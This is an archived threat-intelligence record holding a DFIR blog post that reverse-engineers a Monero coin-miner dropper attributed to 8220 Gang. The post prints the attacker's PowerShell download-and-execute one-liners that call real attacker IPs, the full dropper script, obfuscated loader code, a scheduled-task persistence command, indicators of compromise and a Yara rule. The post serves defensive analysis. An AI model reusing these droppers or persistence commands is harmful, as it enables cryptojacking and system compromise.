{
	"id": "73ec2e19-4d93-4070-ac53-d79779e474ff",
	"created_at": "2026-04-06T00:13:41.076177Z",
	"updated_at": "2026-04-10T03:30:57.013348Z",
	"deleted_at": null,
	"sha1_hash": "e24432f5eda776b4412faa2f38f9eb5840d17ba2",
	"title": "Investigating Monero Coin Miner",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1556250,
	"plain_text": "Investigating Monero Coin Miner\r\nBy Triskele Labs\r\nArchived: 2026-04-05 14:26:55 UTC\r\nIn this blog post, we will use public and open source tooling to investigate a coin miner that was encountered\r\nduring a Digital Forensics and Incident Response (DFIR) investigation. While the malware was detected by a\r\nlarge amount of AV/EDR solutions as a generic coin miner, we wanted to dig just a bit deeper to see if we could\r\nidentify which coin miner was used and attempt attribution to any known Threat Actors (TA). By following the\r\ntrail of breadcrumbs and peeling away the layers of obfuscation, we were able to deduce that an off-the-shelf,\r\nopen source coin miner was used. The coin miner uses some more ‘modern’, though very well known, techniques\r\nsuch as direct system calls in an attempt to evade some endpoint security products. Additionally, this TA has been\r\noperating for at least 4 years and possibly longer, with a preference for known exploits in publicly facing\r\ninfrastructure.\r\nBreadcrumbs\r\nDuring an DFIR investigation, we came across a suspicious PowerShell command that was executed on the\r\nsystem by an unknown TA. There was limited forensic evidence available and we only had the name of the\r\nPowerShell script and the IP address it communicated with to go on.\r\nFrom the event logs of this investigation we could see that the xmr.ps1 payload was downloaded from two IP\r\naddresses, 80.71.158[.]96 and 198.12.68[.]106, via the following commands:\r\nHostApplication=powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xmr.ps1')\r\nHostApplication=powershell iex(New-Object Net.WebClient).DownloadString('hxxp://198.12.68[.]106/xmr.ps1'\r\nA check of Greynoise.io shows that 198.12.68[.]106 has a record of scanning the internet with zmap and making\r\nweb requests for the following directory paths:\r\n/solr/\r\n/console/login/LoginForm.jsp\r\nScanning for these paths suggests that the TA is searching for internet facing servers with well known\r\nvulnerabilities present in Apache Solr and Oracle Weblogic that grant Remote Code Execution such as CVE-2019-\r\n17558 and CVE-2020 14882.\r\nWe observed activity from the TA most recently to be associated with exploiting ProxyShell vulnerabilities.\r\nAlongside the above exploits, a behaviour pattern emerges where low-skill, high-reward exploits are used against\r\ninternet-facing devices in an opportunistic manner.\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 1 of 17\n\nWhen checking historical DNS records for 198.12.68[.]106, we noted that it had a collection of subdomains\r\nresolving to it. Namely a.oracleservice[.]to was seen to resolve to the IP between 17/02/2022 and\r\n18/02/2022. This domain is known to be associated with command and control infrastructure for TA TeamTNT, as\r\nshown in this AlienVault Pulse. Within this pulse is a collection of subdomains, including\r\npwn.oracleservice[.]top and pwn.givemexyz[.]in . Notably, pwn.givemexyz[.]in is identified as a failover\r\nIRC server for the Tsunami cloud-based botnet used by pwnrig and 8220 Gang, as identified in reporting by\r\nLaceworkLabs in May 2021.\r\nThe other IP identified, 80.71.158[.]96, also has a historical record resolving to a.oracleservice[.]top between\r\n05/01/22 and 26/03/22. This adds a further connection between the two IPs.\r\nThe IP of 80.71.158[.]96 was still accessible during the investigation, so the script was downloaded and\r\ninvestigated, containing the following content:\r\n$cc = \"http://80.71.158.96\"\r\n$is64 = (([Array](Get-WmiObject -Query \"select AddressWidth from Win32_Processor\"))[0].AddressWidth -eq 64)\r\n$xmr = \"$cc/nazi.exe\"\r\nif ($is64) {\r\n $xmr = \"$cc/nazi.exe\"\r\n}\r\n(New-Object Net.WebClient).DownloadFile($xmr, \"$env:TMP\\nazi.exe\")\r\nif (!(Get-Process network01 -ErrorAction SilentlyContinue)) {\r\n Start-Process \"$env:TMP\\nazi.exe\" -windowstyle hidden\r\n}\r\nUpdate: the URL is still live at the time of writing and hosting the xmr.ps1 script, though it seems the\r\nThreat Actor has updated the name of the executable to\r\noracleservice.exe\r\nWhile this seems to bake in some logic to select an x86 or x64 payload based on the processor architecture, the\r\nsame file is downloaded regardless. Given the name of the PS script, we already had a strong suspicion this was a\r\nMonero (XMR) coin miner being downloaded and executed. To confirm our suspicions, we downloaded the\r\nexecutable, opened it in Ghidra and performed static analysis and reverse engineering.\r\nStage 1: The loader\r\nFollowing the execution from the entry-point, we arrive at what looks like the main function of the loader:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 2 of 17\n\nWe can see it sleeps for 15 seconds in a likely attempt to evade any sandboxes, followed by a call to\r\n_get_pgmptr to retrieve the path of the process. FUN_00401000 looks like it takes a pointer to some data and a\r\nsize variable, returning a string. When we inspect the function it looks to be an XOR encryption function that\r\ndecrypts the given data and returns it:\r\nAs a quick proof of concept, we’ll use CyberChef to confirm:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 3 of 17\n\nAfter quickly decrypting the hard-coded strings, we’ll make reversing a bit easier by adding some comments\r\ncontaining the decrypted strings and renaming the appropriate variables:\r\nIn this function, the loader retrieves the system root (”C:\\Windows\\”), appends “System32\\conhost.exe”, stores\r\nthat, then creates a new command line by adding the path of the current executable to the conhost.exe path,\r\nresulting in the following command:\r\nC:\\Windows\\System32\\conhost.exe \u003ccurrent process path\u003e\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 4 of 17\n\nThis is used by CreateProcessA to create the conhost.exe process, pass it the command and launch it in a\r\nsuspended state by providing the following Process Creation Flags:\r\nCREATE_NO_WINDOW - 0x08000000\r\nCREATE_SUSPENDED - 0x00000004\r\nThe _PROCESS_INFORMATION structure is populated and the next function ( FUN_00401a9a ) uses the handle to the\r\nsuspended process in some way. Digging into this next function, we see it performs a syscall instruction:\r\nIf we follow FUN_004018f1 , there is a piece of code that would look familiar to some implant or malware\r\ndevelopers, using a binary OR operation to find the name of a loaded DLL in memory. In this case, the below code\r\nattempts to find ntdll.dll by OR’ing the name with 0x20202020 , resulting in 0x6c64746e .\r\nA brief google search shows that this is most likely a way to use direct system calls rather than potentially hooked\r\nWindows APIs, specifically in this case the SysWhispers2 project by jthuraisamy\r\n(https://github.com/jthuraisamy/SysWhispers2/blob/main/example-output/Syscalls.c#L53-L54).\r\nIn order to use the direct system calls, it’s necessary to use the lower level Windows APIs present in ntdll.dll. For\r\nexample, it would be necessary to use NtAllocateVirtualMemory rather than VirtualAlloc since it is the\r\nformer that will perform the syscall() instruction to allocate the requested memory.\r\nWhile some of these lower level system call functions used in the coin miner’s loader can be guessed based on\r\ntheir arguments and some knowledge of common process injection patterns, we can confirm it by loading the\r\nexecutable in a debugger and stepping through the execution until we hit the system call.\r\nOnce the executable is loaded and x64dbg has control, we can see the function calls following the call to\r\nCreateProcessA . We’ll step into the first function and set a breakpoint on the syscall, revealing the system call\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 5 of 17\n\nabout to be called is NtAllocateVirtualMemory .\r\nBack to Ghidra, we can see the next function uses the same XOR decryption routine, this time with a large size,\r\nmeaning we likely have found the function where shellcode is being decrypted, presumably followed by a\r\nfunction to write it into memory in the created process. Since we’re interested in this shellcode, but this shellcode\r\nis being injected into a suspended child process and not in the process we’re currently debugging, we will use\r\nx64dbg to retrieve it. We’ll do this by setting a break point after the decryption function, inspecting the ‘rax’\r\nregister for the location of the decrypted code and dumping it to disk:\r\nThe in-memory decrypted shellcode starts with a call to another function, which could be some sort of further\r\ndecryption routine:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 6 of 17\n\nBefore we attempt to analyse the shellcode, we’ll need to confirm the rest of the assumptions around the process\r\ninjection by mapping the remaining functions to their system calls and renaming some of the variables for clarity.\r\nThe reversed function now looks as follows:\r\nWe’ll transfer the dumped memory and inspect it using xxd , revealing the following contents:\r\n00000000: 1001 1b00 0000 0000 1001 1b00 0000 0000 ................\r\n00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000020: 00a0 2500 0000 0000 0010 2600 0000 0000 ..%.......\u0026.....\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 7 of 17\n\n00000030: 0000 0000 0000 0000 8f89 10e0 0000 0004 ................\r\n00000040: e880 6925 0080 6925 00ff 7d52 2ec6 9f57 ..i%..i%..}R...W\r\n00000050: 9595 80d8 0c1d 80a4 f6d6 6ba0 c16d 7da6 ..........k..m}.\r\n00000060: c7cf c2fc 3d97 fb3e 6900 0000 00dd a261 ....=..\u003ei......a\r\n00000070: 4b3a 29a2 8fdd c528 9ed8 5fe0 8134 80fc K:)....(.._..4..\r\n00000080: 5fa3 c51f d9ab 2500 0bf1 fd08 d6c9 04bf _.....%.........\r\n00000090: 2822 1dc9 87f0 c2f1 efcc bebe 9437 130b (\"...........7..\r\nThe shellcode was written to 0xB96040 , but the memory we saved to disk started at 0xB96000 , so we’ll trim the\r\nfirst 64 bytes to get to the actual shellcode (this can be easily done with tail on any *nix system: tail -c +65\r\nmemorydump.bin \u003e trimmed.bin ).\r\nAt this point, we know the loader uses system calls to inject the decrypted shellcode into a suspended child\r\nprocess. It then proceeds to kick off execution in that child process using NtCreateThreadEx .\r\nDuring the initial triage of this malware, we had also checked the hash on VirusTotal. As it turns out, a few of the\r\nvendors classified the file as “Win64.Donut”. Donut (https://github.com/TheWover/donut) “is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET\r\nassemblies”. It can take any of the supported executable formats and convert it into Position-Independent Code\r\n(PIC). Based on the VT results, we can confirm this is indeed Donut shellcode using a few different ways. One\r\nsuch way is this Yara rule created by the Telsy CTI Team (https://gist.github.com/g-les/47e958c9069765d298aadfe6da677f29) which informs us Donut shellcode has the following characteristics:\r\n1. Always starts with a call - first byte is e8\r\n2. the next 4 bytes are identical to the 4 after that: 80692500 80692500\r\nTo really confirm this is Donut-generated shellcode, we can also use the amazing “undonut”\r\n(https://github.com/listinvest/undonut) tool to unpack it and even recover the original shellcode:\r\n./undonut -recover recovered.bin -shellcode trimmed.bin\r\nDonut Instance:\r\n [*] Size: 2451840\r\n [*] Instance Master Key: [255 125 82 46 198 159 87 149 149 128 216 12 29 128 164 246]\r\n [*] Instance Nonce: [214 107 160 193 109 125 166 199 207 194 252 61 151 251 62 105]\r\n [*] IV: 4b61a2dd00000000\r\n [*] Exit Option: EXIT_OPTION_THREAD\r\n [*] Entropy: ENTROPY_DEFAULT\r\n [*] DLLs: ole32;oleaut32;wininet;mscoree;shell32\r\n [*] AMSI Bypass: BYPASS_CONTINUE\r\n [*] Instance Type: INSTANCE_EMBED\r\n [*] Module Master Key: [219 86 126 253 25 188 162 132 41 85 73 175 189 123 232 151]\r\n [*] Module Nonce: [32 72 59 243 234 58 232 241 83 46 149 230 228 206 217 162]\r\n [*] Module Type: MODULE_NET_EXE\r\n [*] Module Compression: COMPRESS_NONE\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 8 of 17\n\nExtracting original payload to recovered.bin\r\nLooks like we’re dealing with a .NET assembly based on the Module Type and a quick check of recovered.bin\r\nconfirms this:\r\nrecovered.bin: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows\r\nIn summary, the original PowerShell one-liner executed a PowerShell script in memory. This script downloaded\r\nnazi.exe to $env:TMP and executed it. This executable then used direct system calls to create a suspended\r\nprocess, decrypted an XOR-encrypted blob of Donut-generated shellcode and injected it into the suspended\r\nprocess, followed by a call to NtCreateThreadEx to start execution at the start of the Donut-generated shellcode\r\nin this suspended process. We then used undonut to retrieve the original .NET binary out of the shellcode for\r\nfurther analysis.\r\nStage 2: The obfuscated .NET assembly\r\nSince we’re now dealing with a .NET assembly, we’ll switch gears and load it in dnSpy\r\n(https://github.com/dnSpy/dnSpy), which can be used to disassemble and edit .NET code. At first glance, it seems\r\nto use some further obfuscation by both renaming some of the methods and encrypting the strings.\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 9 of 17\n\nAs these strings need to be de-obfuscated at run time, we can simply use the decryption function in the assembly\r\nto decrypt the strings. The first part of the decryption just base64-decodes the text, then passes it on to the\r\ndecryption:\r\npublic static string lpqwqedvebymoauwor(string dzgxchdoczxqowkwogbsmcd)\r\n {\r\n return Encoding.UTF8.GetString(fjhrvaynwouqvkbeletmwuvcmtugqknf.uwcbfdbqkrwtzb(Convert.FromBase64String(\r\n }\r\nThe decryption function:\r\npublic static byte[] uwcbfdbqkrwtzb(byte[] dzgxchdoczxqowkwogbsmcd, bool pcxgguotjpugqoeyxdeiodigq = false)\r\n {\r\n Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(\"ojfjdfielssdyzqwznqobyegcwwxjaushzqzrcju\r\n RijndaelManaged rijndaelManaged = new RijndaelManaged\r\n {\r\n KeySize = 256,\r\n Mode = CipherMode.CBC\r\n };\r\n ICryptoTransform transform = pcxgguotjpugqoeyxdeiodigq ? rijndaelManaged.CreateEncryptor(rfc2898DeriveBy\r\n byte[] result;\r\n using (MemoryStream memoryStream = new MemoryStream())\r\n {\r\n using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write)\r\n {\r\n cryptoStream.Write(dzgxchdoczxqowkwogbsmcd, 0, dzgxchdoczxqowkwogbsmcd.Length);\r\n cryptoStream.Close();\r\n }\r\n result = memoryStream.ToArray();\r\n }\r\n return result;\r\n }\r\nOnce decrypted, the first part of the code starts to make sense (some methods have been renamed for clarity and\r\nthe decrypted strings have been added as comments for easier reading):\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 10 of 17\n\nIn short, it starts by concatenating the following strings:\r\nC:\\Users\\\u003cuser\u003e\\AppData\\Roaming\\Windows\\Libs\r\nC:\\Users\\\u003cuser\u003e\\AppData\\Roaming\\Windows\\Telemetry\r\nThe if-condition isn’t met since there is no command line arguments being passed on the first run, so it continues\r\non below, creating the above directories followed by a method we have not yet encountered:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 11 of 17\n\nThe method nqpepwxvekhptsodeqsiskrspubcgfbzwzrtg takes a string argument, retrieves the resource with that\r\nname from the assembly, decrypts and returns it.\r\nArmed with this knowledge, we can see that this part of the code retrieves an encrypted driver from the resources\r\nof the assembly, decrypts it and writes it to disk at C:\\Users\\\u003cuser\u003e\\AppData\\Roaming\\Windows\\Libs\\WR64.sys .\r\nA quick inspection of this driver shows it is validly signed and is a compiled version of this code:\r\nhttps://github.com/QCute/WinRing0. Some of the functionality in this driver is worrying, and the GitHub\r\nrepository states it is designed for the following, making it an ideal rootkit:\r\nAllow user application to access ring0 level resource\r\n access cpu msr register\r\n read/write memory directly\r\n io pci device\r\n etc...\r\nIt also doesn’t seem to be detected by many AV/EDR vendors\r\n(https://www.virustotal.com/gui/file/11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5),\r\nthough the community comments show at least some people are aware of its capabilities and its use in crypto\r\nmining:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 12 of 17\n\nThe decryption of the driver is followed by a second resource being decrypted, this time it seems to be a zip file:\r\nSince we’re interested in this zip file, we simply save the encrypted, raw resource to disk using dnSpy and write a\r\nsimple wrapper around the decryption function to decrypt it and save it so we can inspect the contents:\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 13 of 17\n\nUsing file shows us it is indeed a zip file:\r\nartifacts/nktkndecoded.bin: Zip archive data, at least v2.0 to extract .\r\nWhen we extract it, we find xmrig.exe inside, which is a known, not necessarily malicious, crypto miner\r\n(https://github.com/xmrig/xmrig):\r\nContinuing our analysis of the .NET code, we hit the following method:\r\nstring text4 = CryptoMiner.qugegcxxvxwnbxjefrfpwvbrhzsph();\r\nThis method does the following (with the decrypted strings added as comments):\r\npublic static string qugegcxxvxwnbxjefrfpwvbrhzsph()\r\n {\r\n string text = \"\";\r\n ManagementScope managementScope = new ManagementScope(\"\\\\root\\\\cimv2\", new ConnectionOptions\r\n {\r\n Impersonation = ImpersonationLevel.Impersonate\r\n });\r\n managementScope.Connect();\r\n ManagementObjectCollection managementObjectCollection = new ManagementObjectSearcher(managementScope, ne\r\n foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)\r\n {\r\n ManagementObject managementObject = (ManagementObject)managementBaseObject;\r\n if (managementObject != null \u0026\u0026 managementObject[\"CommandLine\"] != null \u0026\u0026 managementObject[\"Command\r\n {\r\n text += managementObject[\"CommandLine\"].ToString();\r\n }\r\n }\r\n return text;\r\n }\r\nIt uses the System.Management namespace to access WMI on the local host, then attempts to find a process with a\r\ncommand line that contains %fnwymrmnzqtg% . If it finds it, it returns the command line.\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 14 of 17\n\nIn the next block of code, a series of strings are stored (de-obfuscated contents in comments next to each)\r\nforeach (string[] array3 in new string[][]\r\n {\r\n new string[]\r\n {\r\n \"JwxzXGkqP9AvRDuUT1tzWA==\",//fnwymrmnzqtgf0\r\n \"f\",\r\n \"8pg4JxwF5oP3uc2ts1jCsxFYlG8kPtWg9mTb3dswYn4ExnxKJ6sQ4BS8+bpssl6eKOCi1V/3NfbZ/DsmAEM\r\n \"5rHyu+TR5p3DUeII51G9TA==\",//systemroot\r\n \"QmDFLdUXxO6MjBHbWUJFAg==\"//explorer.exe\r\n }\r\n })\r\n {\r\n if (!text4.Contains(CryptoMiner.Deobfuscate(array3[0])) \u0026\u0026 (array3[1] == CryptoMiner.Deo\r\n {\r\n CryptoMiner.azakdrkrmskwpdicwwxjwoqaxpda((array3[1] == CryptoMiner.Deobfuscate(\"Tlu8\r\n }\r\n }\r\nThe if-block checks whether the WMI method earlier returned any running processes with fnwymrmnzqtgf0 in\r\nthe command line. If none are found (and none were found during the first run of this executable as it is initially\r\ncalled without command line arguments), the azakdrkrmskwpdicwwxjwoqaxpda method is called. This method\r\ndoes the heavy lifting around process injection using process hollowing. In short, it creates a suspended\r\nexplorer.exe process, then uses ZwUnmapViewOfSection to remove the legitimate code, followed by\r\nVirtualAllocEx and WriteProcessMemory and eventually ResumeThread to complete the injection.\r\nWe have enough data now to do some cursory searches for what this malware might be, based on the use of\r\nWR64.sys and xmrig.exe, and a quick search on Github leads us to the off-the-shelf coin miner called\r\nhttps://github.com/UnamSanctam/SilentXMRMiner, concluding our technical investigation. Further IoCs were\r\nobtained using dynamic analysis, such as capturing the network traffic, to confirm the mining proxy in use and the\r\nMonero wallet address.\r\nThere is more to the functionality of the miner, specifically in the way it handles making sure the miner is running\r\nvia a watchdog process, as well as creating a scheduled task for persistence, though a full analysis of this open\r\nsource project is out of scope for this investigation.\r\nClosing remarks\r\nThis coin miner is not particularly sophisticated and neither are the methods used to gain initial access, yet a brief\r\nsearch for the associated Monero wallet address\r\n( 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ )\r\nshows that this Threat Actor (tracked as 8220 Gang - https://www.lacework.com/blog/8220-gangs-recent-use-of-custom-miner-and-botnet/) seems to favour quantity over quality as it’s been associated with coin mining since at\r\nleast 2018 using a wide variety of public exploits. The links between the IPs used to drop the xmr.ps1 payload into\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 15 of 17\n\nthe victim system and the domains of a.oracleservice[.]top, pwn.oracleservice[.]top and pwn.givemexyz[.]in also\r\nconnect our identified activity back to the activity identified in the Lacework report.\r\nBuilding on our understanding of vulnerabilities scanned for from the IP of 198.12.68[.]106, it also seems at least\r\nthe following public high-profile exploits have been associated with the Monero wallet address:\r\nExchange ProxyShell\r\nApache Hadoop YARN ResourceManager Unauthenticated RCE\r\nLog4Shell\r\nConfluence Widget Connector path traversal\r\nApache Struts2\r\nIndicators of Compromise\r\nNetwork:\r\n80.71.158.96 - hosts the powershell script and .exe\r\noracleservice[.]top - resolved to by 198.12.68.106 and 80.71.158.96, identified as a C2 server\r\n167.114.114.169 - mining proxy\r\nRequest made to mining proxy:\r\n{\"id\":1,\"jsonrpc\":\"2.0\",\"method\":\"login\",\"params\":{\"login\":\"46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWm\r\nBinaries:\r\nD71902D94F791BC465DF2E02F65B2C45F1ABCE409D173A040DF1DCDB64E5D2F7 nazi.exe\r\n367A44FE1674FFCDB78BDC97CBDCB464662FDFB6C018F05B4D92BD56131B3587 nazi-miner.exe (.NET assembly)\r\n11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5 WR64.sys\r\nB0748B57A8D9B22EEEC43422CE6CB5FDE27C26AB6620EC2E992660CB2698CBE0 xmrig.exe\r\nYara rule to catch hard-coded OR obfuscation of ntdll in the Syswhispers2 library of the loader:\r\nrule Syswhispers : syswhispers syscalls\r\n{\r\n meta:\r\n author = \"Brecht Snijders at Triskele Labs\"\r\n date = \"2022-04-07\"\r\n description = \"A Yara rule to find binaries that use the Syswhispers2 project for direct system call inv\r\n modified = \"2022-04-07\"\r\n hash = \"d71902d94f791bc465df2e02f65b2c45f1abce409d173a040df1dcdb64e5d2f7\"\r\n tlp = \"WHITE\"\r\n strings:\r\n $syscall_1 = { 20 20 20 20 [2] 6e 74 64 6c }\r\n $syscall_2 = { 20 20 20 20 [2] 6c 2e 64 6c }\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 16 of 17\n\ncondition:\r\n uint16(0) == 0x5a4d\r\n and $syscall_1\r\n and $syscall_2\r\n}\r\nScheduled Task persistence:\r\ncmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn \"services\" /tr \"C:\\Users\\\u003cuser\u003e\\AppData\\Local\\Temp\\W\r\nSource: https://www.triskelelabs.com/investigating-monero-coin-miner\r\nhttps://www.triskelelabs.com/investigating-monero-coin-miner\r\nPage 17 of 17\n\nThe reversed We’ll transfer function now looks the dumped memory as follows: and inspect it using xxd , revealing the following contents:\n00000000: 1001 1b00 0000 0000 1001 1b00 0000 0000 ................\n00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................\n00000020: 00a0 2500 0000 0000 0010 2600 0000 0000 ..%.......\u0026.....\n   Page 7 of 17",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.triskelelabs.com/investigating-monero-coin-miner"
	],
	"report_names": [
		"investigating-monero-coin-miner"
	],
	"threat_actors": [
		{
			"id": "0b8ea9bb-b729-438a-ae1f-4240db936fd7",
			"created_at": "2023-06-23T02:04:34.839947Z",
			"updated_at": "2026-04-10T02:00:04.99239Z",
			"deleted_at": null,
			"main_name": "8220 Gang",
			"aliases": [
				"8220 Mining Group",
				"Returned Libra",
				"Water Sigbin"
			],
			"source_name": "ETDA:8220 Gang",
			"tools": [],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f809bfcb-b200-4988-80a8-be78ef6a52ef",
			"created_at": "2023-01-06T13:46:39.186988Z",
			"updated_at": "2026-04-10T02:00:03.240002Z",
			"deleted_at": null,
			"main_name": "TeamTNT",
			"aliases": [
				"Adept Libra"
			],
			"source_name": "MISPGALAXY:TeamTNT",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "c3ca592f-0669-49bd-ab5c-310007ab2fb4",
			"created_at": "2022-10-25T15:50:23.334495Z",
			"updated_at": "2026-04-10T02:00:05.264841Z",
			"deleted_at": null,
			"main_name": "TeamTNT",
			"aliases": [
				"TeamTNT"
			],
			"source_name": "MITRE:TeamTNT",
			"tools": [
				"Peirates",
				"MimiPenguin",
				"LaZagne",
				"Hildegard"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "942c5fbc-31df-4aef-8268-e3ccf6692ec8",
			"created_at": "2024-07-09T02:00:04.434476Z",
			"updated_at": "2026-04-10T02:00:03.671196Z",
			"deleted_at": null,
			"main_name": "Water Sigbin",
			"aliases": [
				"8220 Gang"
			],
			"source_name": "MISPGALAXY:Water Sigbin",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f9806b99-e392-46f1-9c13-885e376b239f",
			"created_at": "2023-01-06T13:46:39.431871Z",
			"updated_at": "2026-04-10T02:00:03.325163Z",
			"deleted_at": null,
			"main_name": "Watchdog",
			"aliases": [
				"Thief Libra"
			],
			"source_name": "MISPGALAXY:Watchdog",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434421,
	"ts_updated_at": 1775791857,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e24432f5eda776b4412faa2f38f9eb5840d17ba2.pdf",
		"text": "https://archive.orkl.eu/e24432f5eda776b4412faa2f38f9eb5840d17ba2.txt",
		"img": "https://archive.orkl.eu/e24432f5eda776b4412faa2f38f9eb5840d17ba2.jpg"
	}
}